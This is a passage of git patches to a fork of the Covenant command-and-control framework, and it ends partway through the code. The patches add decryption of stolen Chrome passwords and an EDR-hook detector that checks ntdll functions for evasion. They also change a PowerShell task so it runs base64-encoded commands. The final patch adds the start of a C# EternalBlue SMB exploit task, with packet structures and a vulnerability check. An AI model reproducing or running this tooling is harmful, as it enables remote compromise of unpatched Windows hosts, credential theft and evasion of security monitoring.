CreateDecryptEvent(DecryptEvent decryptEvent); + Task CreateDecryptEvent(DecryptEventContent decryptEvent); } public interface IImplantTemplateService @@ -1033,10 +1035,38 @@ public async Task GetDecryptEvent(int eventId) return anEvent; } + public async Task GetDecryptEventByGruntCommand(int id) + { + DecryptEvent anEvent = await _context.Events + .Where(E => E.Type == EventType.Decrypt) + .Select(E => (DecryptEvent)E) + .FirstOrDefaultAsync(E => E.GruntCommandId == id); + if (anEvent == null) + { + throw new ControllerNotFoundException($"NotFound - DecryptEvent with GruntCommandId: {id}"); + } + return anEvent; + } + + private async Task CreateDecryptEvent(DecryptEvent DecryptEvent, string contents) + { + return await this.CreateDecryptEvent(new DecryptEventContent + { + Name = DecryptEvent.Name, + GruntCommandId = DecryptEvent.GruntCommandId, + Time = DecryptEvent.Time, + MessageHeader = DecryptEvent.MessageHeader, + MessageBody = DecryptEvent.MessageBody, + Level = DecryptEvent.Level, + Context = DecryptEvent.Context, + EncryptedOutput = contents + }); + } - public async Task CreateDecryptEvent(DecryptEvent decryptEvent) + public async Task CreateDecryptEvent(DecryptEventContent decryptEvent) { decryptEvent.Time = DateTime.UtcNow; + decryptEvent.Decrypt(); await _context.Events.AddAsync(decryptEvent); await _context.SaveChangesAsync(); @@ -3217,6 +3247,21 @@ public static string Execute() Progress = DownloadEvent.DownloadProgress.Portion }, new byte[] { }); } + else if (tasking.GruntTask.Name.Equals("Chrome_passwords", StringComparison.CurrentCultureIgnoreCase)) + { + + DecryptEvent Decrypt = await this.CreateDecryptEvent(new DecryptEvent + { + GruntCommandId = tasking.GruntCommandId, + // Time = updatingGruntTasking.CompletionTime, + MessageHeader = "Getting saved passwords", + MessageBody = "Decrypted passwords: " + tasking.GruntCommand.CommandOutput.Output, + EncryptedOutput = tasking.GruntCommand.CommandOutput.Output, + Level = EventLevel.Info, + Context = tasking.Grunt.Name, + + }, "") ; + } tasking.Parameters = parameters; try diff --git a/Covenant/Core/DbInitializer.cs b/Covenant/Core/DbInitializer.cs index e95e7c74..2e37586b 100644 --- a/Covenant/Core/DbInitializer.cs +++ b/Covenant/Core/DbInitializer.cs @@ -337,7 +337,7 @@ await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.Dot await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) }, EmbeddedResources = new List() - } + }, new ReferenceSourceLibrary { Name = "NET-scan", Description = "network host and port scanner ", @@ -350,12 +350,10 @@ await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Ne await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35), await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40), await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35), - await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40), - await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35), - await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) + await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, EmbeddedResources = new List() - } + }, new ReferenceSourceLibrary { Name = "ChromeDecryptor", Description = "Chrome password extrating tool ", @@ -368,9 +366,7 @@ await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Ne await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35), await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40), await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35), - await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40), - await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35), - await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) + await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }, EmbeddedResources = new List() } diff --git a/Covenant/Data/Tasks/NET-scan.yaml b/Covenant/Data/Tasks/NET-scan.yaml index 0984f681..15b03360 100644 --- a/Covenant/Data/Tasks/NET-scan.yaml +++ b/Covenant/Data/Tasks/NET-scan.yaml @@ -16,7 +16,7 @@ using System.Reflection; using System.Threading; - using NET-scan; + using NET_scan; public static class Task { diff --git a/Covenant/Models/Covenant/Event.cs b/Covenant/Models/Covenant/Event.cs index 1ca67b8b..62b2b7dd 100644 --- a/Covenant/Models/Covenant/Event.cs +++ b/Covenant/Models/Covenant/Event.cs @@ -59,6 +59,7 @@ public class DecryptEvent : Event public string EncryptedOutput { get; set; } = ""; public string DecryptedOutput { get; set; } = ""; + public int GruntCommandId { get; set; } public DecryptEvent() { this.Type = EventType.Decrypt; @@ -103,12 +104,10 @@ public bool Decrypt() } catch (Exception) { - + } - - } - } + } catch (Exception x) { @@ -122,7 +121,7 @@ public static byte[] AesGcmDecrypt( byte[] key, byte[] payload) { byte[] nonce = payload.Skip(3).Take(12).ToArray(); - byte[] realPayload = payload.Skip(15).ToArray(); // from 15 to end + byte[] realPayload = payload.Skip(15).ToArray(); return AesGcmDecrypt(realPayload, key, nonce); @@ -212,5 +211,10 @@ public class DownloadEventContent : DownloadEvent public class ScreenshotEventContent : ScreenshotEvent { public byte[] FileContents { get; set; } + } + + public class DecryptEventContent : DecryptEvent + { + public string EncryptedOutput { get; set; } } } diff --git a/Covenant/Models/CovenantContext.cs b/Covenant/Models/CovenantContext.cs index ce19ab4a..fd562cf5 100644 --- a/Covenant/Models/CovenantContext.cs +++ b/Covenant/Models/CovenantContext.cs @@ -98,7 +98,7 @@ protected override void OnModelCreating(ModelBuilder builder) builder.Entity().HasBaseType(); builder.Entity().HasBaseType(); - builder.Entity(); + builder.Entity().HasBaseType(); builder.Entity(); From 9c383488497c68c8918eb24612a593565f58b96d Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Wed, 21 Dec 2022 22:09:36 +0100 Subject: [PATCH 11/16] HookDetector --- Covenant/Data/Tasks/HookDetector.yaml | 51 +++++++++++++++++++++++++++ Covenant/Models/Covenant/Event.cs | 9 +++-- 2 files changed, 57 insertions(+), 3 deletions(-) create mode 100644 Covenant/Data/Tasks/HookDetector.yaml diff --git a/Covenant/Data/Tasks/HookDetector.yaml b/Covenant/Data/Tasks/HookDetector.yaml new file mode 100644 index 00000000..3741d78a --- /dev/null +++ b/Covenant/Data/Tasks/HookDetector.yaml @@ -0,0 +1,51 @@ +- Author: + Name: amine brahmi + Handle: khraoverflow + Link: https://twitter.com/dr_whoami_ + Name: HookDetector + Aliases: [] + Description: gets list of hooked functions + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + Code: "using System;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing System.Linq;\nusing System.Collections.Generic;\n\nclass Task\n{\n static string[] functions =\n {\n \"NtClose\",\n \"NtAllocateVirtualMemory\",\n \"NtAllocateVirtualMemoryEx\",\n \"NtCreateThread\",\n \"NtCreateThreadEx\",\n \"NtCreateUserProcess\",\n \"NtFreeVirtualMemory\",\n \"NtLoadDriver\",\n \"NtMapViewOfSection\",\n \"NtOpenProcess\",\n \"NtProtectVirtualMemory\",\n \"NtQueueApcThread\",\n \"NtQueueApcThreadEx\",\n \"NtResumeThread\",\n \"NtSetContextThread\",\n \"NtSetInformationProcess\",\n \"NtSuspendThread\",\n \"NtUnloadDriver\",\n \"NtWriteVirtualMemory\"\n };\n static byte[] safeBytes = {\n 0x4c, 0x8b, 0xd1, // mov r10, rcx\n 0xb8 // mov eax, ??\n };\n\n static string output = \"\";\n public static string Execute()\n {\n \n if (!GetProcessArch())\n {\n\n output += Environment.NewLine + \"[-] It looks like you're not running x64.\";\n return output;;\n }\n // Get the base address of ntdll.dll in our own process\n IntPtr ntdllBase = GetNTDLLBase();\n if (ntdllBase == IntPtr.Zero)\n {\n output += Environment.NewLine + \"[-] Couldn't get find ntdll.dll\";\n return output;;\n\n }\n else { output += Environment.NewLine + \"NTDLL Base Address: 0x{0:X}\" + ntdllBase.ToInt64(); }\n\n // Get the address of each of the target functions in ntdll.dll\n IDictionary funcAddresses = GetFuncAddress(ntdllBase, functions);\n\n // Check the first DWORD at each function's address for proper SYSCALL setup\n int i = 0; // Used for populating the results array\n bool safe;\n foreach (KeyValuePair func in funcAddresses)\n {\n byte[] instructions = new byte[4];\n Marshal.Copy(func.Value, instructions, 0, 4);\n\n string fmtFunc = string.Format(\" {0,-25} 0x{1:X} \", func.Key, func.Value.ToInt64());\n safe = instructions.SequenceEqual(safeBytes);\n\n if (safe)\n {\n output += Environment.NewLine + fmtFunc + \"- SAFE\";\n }\n else\n {\n byte[] hookInstructions = new byte[32];\n Marshal.Copy(func.Value, hookInstructions, 0, 32);\n output += Environment.NewLine + fmtFunc + \" - HOOK DETECTED\";\n output += Environment.NewLine + \" {0,-25} {1}\" + \"Instructions: \" + BitConverter.ToString(hookInstructions).Replace(\"-\", \" \");\n }\n\n i++;\n }\n return output;\n }\n\n static IntPtr GetNTDLLBase()\n {\n Process hProc = Process.GetCurrentProcess();\n ProcessModule module = hProc.Modules.Cast().SingleOrDefault(m => string.Equals(m.ModuleName, \"ntdll.dll\", StringComparison.OrdinalIgnoreCase));\n return module?.BaseAddress ?? IntPtr.Zero;\n }\n\n static IDictionary GetFuncAddress(IntPtr hModule, string[] functions)\n {\n IDictionary funcAddresses = new Dictionary();\n foreach (string function in functions)\n {\n IntPtr funcPtr = Win32.GetProcAddress(hModule, function);\n if (funcPtr != IntPtr.Zero)\n {\n funcAddresses.Add(function, funcPtr);\n }\n else\n {\n output += Environment.NewLine + \"[-] Couldn't locate the address for {0}! (Error: {1})\"+ function+ Marshal.GetLastWin32Error();\n }\n }\n\n return funcAddresses;\n }\n\n static bool GetProcessArch()\n {\n // Make sure that we're running x64 on x64\n bool wow64;\n Win32.IsWow64Process(Process.GetCurrentProcess().Handle, out wow64);\n\n //if (Environment.Is64BitProcess && !wow64)\n //{\n // return true;\n //}\n //else\n //{\n // return false;\n //}\n return true;\n\n }\n}\n\nclass Win32\n{\n [DllImport(\"kernel32\", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]\n public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n\n [DllImport(\"kernel32.dll\", SetLastError = true, CallingConvention = CallingConvention.Winapi)]\n public static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process);\n}\n" + Compiled: false + TaskingType: Assembly + ReferenceSourceLibraries: [] + ReferenceAssemblies: + - Name: mscorlib.dll + Location: net35\mscorlib.dll + DotNetVersion: Net35 + - Name: System.Core.dll + Location: net35\System.Core.dll + DotNetVersion: Net35 + - Name: System.dll + Location: net35\System.dll + DotNetVersion: Net35 + - Name: System.Drawing.dll + Location: net35\System.Drawing.dll + DotNetVersion: Net35 + - Name: System.Windows.Forms.dll + Location: net35\System.Windows.Forms.dll + DotNetVersion: Net35 + - Name: mscorlib.dll + Location: net40\mscorlib.dll + DotNetVersion: Net40 + - Name: System.Core.dll + Location: net40\System.Core.dll + DotNetVersion: Net40 + - Name: System.dll + Location: net40\System.dll + DotNetVersion: Net40 + - Name: System.Drawing.dll + Location: net40\System.Drawing.dll + DotNetVersion: Net40 + - Name: System.Windows.Forms.dll + Location: net40\System.Windows.Forms.dll + DotNetVersion: Net40 + EmbeddedResources: [] + UnsafeCompile: false + TokenTask: false + Options: [] diff --git a/Covenant/Models/Covenant/Event.cs b/Covenant/Models/Covenant/Event.cs index 62b2b7dd..66079c63 100644 --- a/Covenant/Models/Covenant/Event.cs +++ b/Covenant/Models/Covenant/Event.cs @@ -68,8 +68,12 @@ public DecryptEvent() public bool Decrypt() { + try + { + string[] lines = EncryptedOutput.Split(Environment.NewLine); + byte[] key = Convert.FromBase64String(lines[0]); @@ -78,9 +82,8 @@ public bool Decrypt() DecryptedOutput += "username : password : url" + Environment.NewLine; DecryptedOutput += "______________________________________________________" + Environment.NewLine; - try - { - foreach (string line in lines) + + foreach (string line in lines) { try { From a116ae3a7b25c2a2159547f413383a3a4d2262aa Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Thu, 22 Dec 2022 13:21:32 +0100 Subject: [PATCH 12/16] update submodules --- Covenant/Data/ReferenceSourceLibraries/NET-scan | 2 +- Covenant/Data/ReferenceSourceLibraries/Rubeus | 2 +- Covenant/Data/ReferenceSourceLibraries/Seatbelt | 2 +- Covenant/Data/ReferenceSourceLibraries/SharpDPAPI | 2 +- Covenant/Data/ReferenceSourceLibraries/SharpUp | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Covenant/Data/ReferenceSourceLibraries/NET-scan b/Covenant/Data/ReferenceSourceLibraries/NET-scan index 6fb06b8d..8666bed9 160000 --- a/Covenant/Data/ReferenceSourceLibraries/NET-scan +++ b/Covenant/Data/ReferenceSourceLibraries/NET-scan @@ -1 +1 @@ -Subproject commit 6fb06b8d366f94f93460d2d059f2fb29466b3cb5 +Subproject commit 8666bed92ad5f075f5ba01fe2ebdbd4d40997da5 diff --git a/Covenant/Data/ReferenceSourceLibraries/Rubeus b/Covenant/Data/ReferenceSourceLibraries/Rubeus index 1e9fe7c3..b2eb95b7 160000 --- a/Covenant/Data/ReferenceSourceLibraries/Rubeus +++ b/Covenant/Data/ReferenceSourceLibraries/Rubeus @@ -1 +1 @@ -Subproject commit 1e9fe7c3c2d0458f8200f248079485f3527f314f +Subproject commit b2eb95b7c1b6fff75504a7d4c31641816c96e88e diff --git a/Covenant/Data/ReferenceSourceLibraries/Seatbelt b/Covenant/Data/ReferenceSourceLibraries/Seatbelt index 15d6b356..f0b5cd5b 160000 --- a/Covenant/Data/ReferenceSourceLibraries/Seatbelt +++ b/Covenant/Data/ReferenceSourceLibraries/Seatbelt @@ -1 +1 @@ -Subproject commit 15d6b356719f43738badd387159ffe98cb4f508f +Subproject commit f0b5cd5b4edf4325b613835b51a63705d2139c30 diff --git a/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI b/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI index 408e98ec..2677293c 160000 --- a/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI +++ b/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI @@ -1 +1 @@ -Subproject commit 408e98ecd3c5028b4bca84469fa4c305581c3b00 +Subproject commit 2677293c9bb5ed21c7dabcc1e28b0471d5397c5d diff --git a/Covenant/Data/ReferenceSourceLibraries/SharpUp b/Covenant/Data/ReferenceSourceLibraries/SharpUp index 0b3f09fd..7e172961 160000 --- a/Covenant/Data/ReferenceSourceLibraries/SharpUp +++ b/Covenant/Data/ReferenceSourceLibraries/SharpUp @@ -1 +1 @@ -Subproject commit 0b3f09fd2d6f91251e62ad3702ad309f8ed5c6df +Subproject commit 7e172961002125417a0f8a8447de0cb579f7d0e8 From 63a9cec53044a14d987314624de184df3196113d Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Sat, 24 Dec 2022 17:24:16 +0100 Subject: [PATCH 13/16] Revert "update submodules" This reverts commit a116ae3a7b25c2a2159547f413383a3a4d2262aa. --- Covenant/Data/ReferenceSourceLibraries/NET-scan | 2 +- Covenant/Data/ReferenceSourceLibraries/Rubeus | 2 +- Covenant/Data/ReferenceSourceLibraries/Seatbelt | 2 +- Covenant/Data/ReferenceSourceLibraries/SharpDPAPI | 2 +- Covenant/Data/ReferenceSourceLibraries/SharpUp | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Covenant/Data/ReferenceSourceLibraries/NET-scan b/Covenant/Data/ReferenceSourceLibraries/NET-scan index 8666bed9..6fb06b8d 160000 --- a/Covenant/Data/ReferenceSourceLibraries/NET-scan +++ b/Covenant/Data/ReferenceSourceLibraries/NET-scan @@ -1 +1 @@ -Subproject commit 8666bed92ad5f075f5ba01fe2ebdbd4d40997da5 +Subproject commit 6fb06b8d366f94f93460d2d059f2fb29466b3cb5 diff --git a/Covenant/Data/ReferenceSourceLibraries/Rubeus b/Covenant/Data/ReferenceSourceLibraries/Rubeus index b2eb95b7..1e9fe7c3 160000 --- a/Covenant/Data/ReferenceSourceLibraries/Rubeus +++ b/Covenant/Data/ReferenceSourceLibraries/Rubeus @@ -1 +1 @@ -Subproject commit b2eb95b7c1b6fff75504a7d4c31641816c96e88e +Subproject commit 1e9fe7c3c2d0458f8200f248079485f3527f314f diff --git a/Covenant/Data/ReferenceSourceLibraries/Seatbelt b/Covenant/Data/ReferenceSourceLibraries/Seatbelt index f0b5cd5b..15d6b356 160000 --- a/Covenant/Data/ReferenceSourceLibraries/Seatbelt +++ b/Covenant/Data/ReferenceSourceLibraries/Seatbelt @@ -1 +1 @@ -Subproject commit f0b5cd5b4edf4325b613835b51a63705d2139c30 +Subproject commit 15d6b356719f43738badd387159ffe98cb4f508f diff --git a/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI b/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI index 2677293c..408e98ec 160000 --- a/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI +++ b/Covenant/Data/ReferenceSourceLibraries/SharpDPAPI @@ -1 +1 @@ -Subproject commit 2677293c9bb5ed21c7dabcc1e28b0471d5397c5d +Subproject commit 408e98ecd3c5028b4bca84469fa4c305581c3b00 diff --git a/Covenant/Data/ReferenceSourceLibraries/SharpUp b/Covenant/Data/ReferenceSourceLibraries/SharpUp index 7e172961..0b3f09fd 160000 --- a/Covenant/Data/ReferenceSourceLibraries/SharpUp +++ b/Covenant/Data/ReferenceSourceLibraries/SharpUp @@ -1 +1 @@ -Subproject commit 7e172961002125417a0f8a8447de0cb579f7d0e8 +Subproject commit 0b3f09fd2d6f91251e62ad3702ad309f8ed5c6df From 1559b644e1036cd71af8c50fc2bc84b7b70d9f9c Mon Sep 17 00:00:00 2001 From: thou-mayest <61654970+khraoverflow@users.noreply.github.com> Date: Sat, 24 Dec 2022 17:40:22 +0100 Subject: [PATCH 14/16] update NET-scan submodule --- Covenant/Data/ReferenceSourceLibraries/NET-scan | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Covenant/Data/ReferenceSourceLibraries/NET-scan b/Covenant/Data/ReferenceSourceLibraries/NET-scan index 6fb06b8d..8666bed9 160000 --- a/Covenant/Data/ReferenceSourceLibraries/NET-scan +++ b/Covenant/Data/ReferenceSourceLibraries/NET-scan @@ -1 +1 @@ -Subproject commit 6fb06b8d366f94f93460d2d059f2fb29466b3cb5 +Subproject commit 8666bed92ad5f075f5ba01fe2ebdbd4d40997da5 From a317ca3e9703dc6f3e3e12e8798d97cded965c8b Mon Sep 17 00:00:00 2001 From: khraoverflow <61654970+khraoverflow@users.noreply.github.com> Date: Mon, 6 Feb 2023 00:38:16 +0100 Subject: [PATCH 15/16] sharpsploit.exec powershell b64 command --- Covenant/Data/Tasks/SharpSploit.Execution.yaml | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/Covenant/Data/Tasks/SharpSploit.Execution.yaml b/Covenant/Data/Tasks/SharpSploit.Execution.yaml index 7c27b05b..b9044a50 100644 --- a/Covenant/Data/Tasks/SharpSploit.Execution.yaml +++ b/Covenant/Data/Tasks/SharpSploit.Execution.yaml @@ -540,6 +540,7 @@ - Net40 Code: | using System; + using System.Text; using SharpSploit.Execution; @@ -549,11 +550,22 @@ { try { - return Shell.PowerShellExecute(PowerShellCommand, true); + try + { + byte[] ByteFromStr = Convert.FromBase64String(PowerShellCommand); + PowerShellCommand = Encoding.Unicode.GetString(ByteFromStr); + return Shell.PowerShellExecute(PowerShellCommand); + } + catch(Exception e) + { + return Shell.PowerShellExecute(PowerShellCommand, true); + } + } catch (Exception e) { return e.GetType().FullName + ": " + e.Message + Environment.NewLine + e.StackTrace; } } } + TaskingType: Assembly UnsafeCompile: false TokenTask: false From 070ceaab78cfd44695e6a55517b1919096e37d72 Mon Sep 17 00:00:00 2001 From: khraoverflow <61654970+khraoverflow@users.noreply.github.com> Date: Wed, 15 Feb 2023 20:55:31 +0100 Subject: [PATCH 16/16] eternalblue may never die x64 --- Covenant/Data/Tasks/eternalblue.yaml | 1171 ++++++++++++++++++++++++++ 1 file changed, 1171 insertions(+) create mode 100644 Covenant/Data/Tasks/eternalblue.yaml diff --git a/Covenant/Data/Tasks/eternalblue.yaml b/Covenant/Data/Tasks/eternalblue.yaml new file mode 100644 index 00000000..5fee629b --- /dev/null +++ b/Covenant/Data/Tasks/eternalblue.yaml @@ -0,0 +1,1171 @@ +- Name: eternalblue + Aliases: [] + Description: eternalblue x64 only for now + Author: + Name: amine brahmi + Handle: khraoverflow + Link: https://twitter.com/dr_whoami_ + Help: + Language: CSharp + CompatibleDotNetVersions: + - Net35 + - Net40 + Code: | + using System; + using System.Collections.Generic; + using System.Linq; + using System.Net; + using System.Net.Sockets; + using System.Runtime.InteropServices; + using System.Text; + + class Task + { + public static string output=""; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct NETBIOS_HEADER + { + public uint MessageTypeAndSize; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_HEADER + { + public uint protocol; + public byte command; + public byte errorClass; + public byte _reserved; + public ushort errorCode; + public byte flags; + public ushort flags2; + public ushort PIDHigh; + public ulong SecurityFeatures; + public ushort reserved; + public ushort TID; + public ushort PIDLow; + public ushort UID; + public ushort MID; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_SESSION_SETUP_ANDX_RESPONSE + { + public byte WordCount; + public byte AndxCommand; + public byte reserved; + public ushort AndxOffset; + public ushort action; + public ushort ByteCount; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_SESSION_SETUP_ANDX_REQUEST + { + public byte WordCount; + public byte AndxCommand; + public byte reserved1; + public ushort AndxOffset; + public ushort MaxBuffer; + public ushort MaxMpxCount; + public ushort VcNumber; + public uint SessionKey; + public ushort OEMPasswordLen; + public ushort UnicodePasswordLen; + public uint Reserved2; + public uint Capabilities; + public ushort ByteCount; + //SMB Data added manually + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_NEGOTIATE_REQUEST + { + public byte WordCount; + public ushort ByteCount; + //Dialects are added manually + } + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_TRANSACTION_REQUEST + { + public byte WordCount; + public ushort TotalParameterCount; + public ushort TotalDataCount; + public ushort MaxParameterCount; + public ushort MaxDataCount; + public byte MaxSetupCount; + public byte Reserved; + public ushort Flags; + public uint Timeout; + public ushort Reserved2; + public ushort ParameterCount; + public ushort ParameterOffset; + public ushort DataCount; + public ushort DataOffset; + public byte SetupCount; + public byte Reserved3; + public ushort Function; + public ushort FID; + public ushort ByteCount; + //TransactionName added manually + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_TREE_CONNECT_ANDX_REQUEST + { + public byte WordCount; + public byte AndXCommand; + public byte AndXReserved; + public ushort AndXOffset; + public ushort Flags; + public ushort PasswordLength; + public ushort ByteCount; + //SMBData added manually + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_ECHO_REQUEST + { + public byte WordCount; + public ushort EchoSequenceNumber; + public ushort ByteCount; + //SMBData added manually + } + + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_NT_TRANSACT_REQUEST + { + public byte WordCount; + public byte MaxSetupCount; + public ushort Reserved; + public uint TotalParameterCount; + public uint TotalDataCount; + public uint MaxParameterCount; + public uint MaxDataCount; + public uint ParameterCount; + public uint ParameterOffset; + public uint DataCount; + public uint DataOffset; + public byte SetupCount; + public ushort Function; + public ushort Setup; + public ushort ByteCount; + //SMBData added manually + } + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)] + public struct SMB_COM_TRANSACTION2_SECONDARY_REQUEST + { + public byte WordCount; + public ushort TotalParameterCount; + public ushort TotalDataCount; + public ushort ParameterCount; + public ushort ParameterOffset; + public ushort ParameterDisplacement; + public ushort DataCout; + public ushort DataOffset; + public ushort DataDisplacement; + public ushort FID; + public ushort ByteCount; + //SMBData added manually + } + + static public SMB_COM_NEGOTIATE_REQUEST SMB_COMNegotiateRequestFromBytes(byte[] arr) + { + SMB_COM_NEGOTIATE_REQUEST str = new SMB_COM_NEGOTIATE_REQUEST(); + int size = Marshal.SizeOf(str); + IntPtr ptr = Marshal.AllocHGlobal(size); + Marshal.Copy(arr, 0, ptr, size); + str = (SMB_COM_NEGOTIATE_REQUEST)Marshal.PtrToStructure(ptr, str.GetType()); + Marshal.FreeHGlobal(ptr); + return str; + } + + + static public byte[] SetNetBiosHeader(byte[] pkt) + { + uint size = (uint)pkt.Length; + byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray(); + NETBIOS_HEADER netbios_header = new NETBIOS_HEADER(); + netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0); + byte[] netbios_header_packet = GetBytes(netbios_header); + byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray(); + return fullMessage; + } + + static public void SendSMBMessage(Socket sock, byte[] pkt, bool SetHeader) + { + //Calculate and set Message Length for NetBios Header + if (SetHeader) + { + pkt = SetNetBiosHeader(pkt); + } + try + { + sock.Send(pkt); + } + catch (Exception e) + { + output += Environment.NewLine +"Socket Error, during sending: " + e.Message; + } + } + + static public byte[] ReceiveSMBMessage(Socket sock) + { + byte[] response = new byte[1024]; + try + { + sock.Receive(response); + } + catch (Exception e) + { + output += Environment.NewLine +"Socket Error, during receive: " + e.Message; + } + return response.Skip(4).ToArray(); + } + + static public byte[] GetBytes(object str) + { + int size = Marshal.SizeOf(str); + + byte[] arr = new byte[size]; + IntPtr ptr = Marshal.AllocHGlobal(size); + Marshal.StructureToPtr(str, ptr, true); + Marshal.Copy(ptr, arr, 0, size); + Marshal.FreeHGlobal(ptr); + return arr; + } + + static public SMB_COM_SESSION_SETUP_ANDX_RESPONSE SMB_AndxResponseFromBytes(byte[] arr) + { + SMB_COM_SESSION_SETUP_ANDX_RESPONSE str = new SMB_COM_SESSION_SETUP_ANDX_RESPONSE(); + int size = Marshal.SizeOf(str); + IntPtr ptr = Marshal.AllocHGlobal(size); + Marshal.Copy(arr, 0, ptr, size); + str = (SMB_COM_SESSION_SETUP_ANDX_RESPONSE)Marshal.PtrToStructure(ptr, str.GetType()); + Marshal.FreeHGlobal(ptr); + return str; + } + + static public SMB_HEADER SMB_HeaderFromBytes(byte[] arr) + { + SMB_HEADER str = new SMB_HEADER(); + int size = Marshal.SizeOf(str); + IntPtr ptr = Marshal.AllocHGlobal(size); + Marshal.Copy(arr, 0, ptr, size); + str = (SMB_HEADER)Marshal.PtrToStructure(ptr, str.GetType()); + Marshal.FreeHGlobal(ptr); + return str; + } + static public bool IsValidSMB1Header(SMB_HEADER header) + { + if (header.protocol == 0x424d53ff) + { + return true; + } + return false; + } + + static public void DetectVersionOfWindows(byte[] res) + { + SMB_HEADER header = SMB_HeaderFromBytes(res); + if (!IsValidSMB1Header(header)) + { + output += Environment.NewLine +"Did not receive proper response when determining version... Are you sure this server is running SMB?"; + return; + } + int sizeOfHeader = Marshal.SizeOf(header); + SMB_COM_SESSION_SETUP_ANDX_RESPONSE andxr = SMB_AndxResponseFromBytes(res.Skip(sizeOfHeader).ToArray()); + int byteCount = andxr.ByteCount; + int sizeOfAndxr = Marshal.SizeOf(andxr); + byte[] data = res.Skip(sizeOfHeader + sizeOfAndxr + 1).ToArray().Take(byteCount).ToArray(); //The 1 is for Padding- This could become a problem + string hexString = BitConverter.ToString(data).Replace("-00-00-00-", "&"); //The SMB data is split using 3 0x00 bytes, these are changed to an '&' for easier split + string[] hexStringSplit = hexString.Split('&'); + + for (int i = 0; i < 3; i++) + { + StringBuilder strbuilder = new StringBuilder(); + string[] charArray = hexStringSplit[i].Split('-'); + foreach (string chars in charArray) + { + int value = Convert.ToInt32(chars, 16); + char charValue = (char)value; + if (charValue != 0) + { + strbuilder.Append(charValue); + } + } + if (i == 0) + { + output += Environment.NewLine +"Native OS: " + strbuilder.ToString(); + } + else if (i == 1) + { + output += Environment.NewLine +"Native LAN Manager: " + strbuilder.ToString(); + } + else if (i == 2) + { + output += Environment.NewLine +"Domain: " + strbuilder.ToString(); + } + } + } + + static public bool CheckVulnerability(Socket sock) + { + bool vulnerable = false; + SMB_HEADER header = new SMB_HEADER + { + protocol = 0x424d53ff, + command = 0x25, + errorClass = 0x00, + _reserved = 0x00, + errorCode = 0x0000, + flags = 0x18, + flags2 = 0x2801, + PIDHigh = 0x0000, + SecurityFeatures = 0x0000000000000000, + reserved = 0x0000, + TID = 0x0800, + PIDLow = 0x5604, + UID = 0x0800, + MID = 0x8624 + }; + byte[] headerBytes = GetBytes(header); + + SMB_COM_TRANSACTION_REQUEST transRequest = new SMB_COM_TRANSACTION_REQUEST + { + WordCount = 0x10, + TotalParameterCount = 0x0000, + TotalDataCount = 0x0000, + MaxParameterCount = 0xffff, + MaxDataCount = 0xffff, + MaxSetupCount = 0x00, + Reserved = 0x00, + Flags = 0x0000, + Timeout = 0x00000000, + Reserved2 = 0x0000, + ParameterCount = 0x0000, + ParameterOffset = 0x004a, + DataCount = 0x0000, + DataOffset = 0x004a, + SetupCount = 0x02, + Reserved3 = 0x00, + Function = 0x0023, + FID = 0x0000 + }; + byte[] 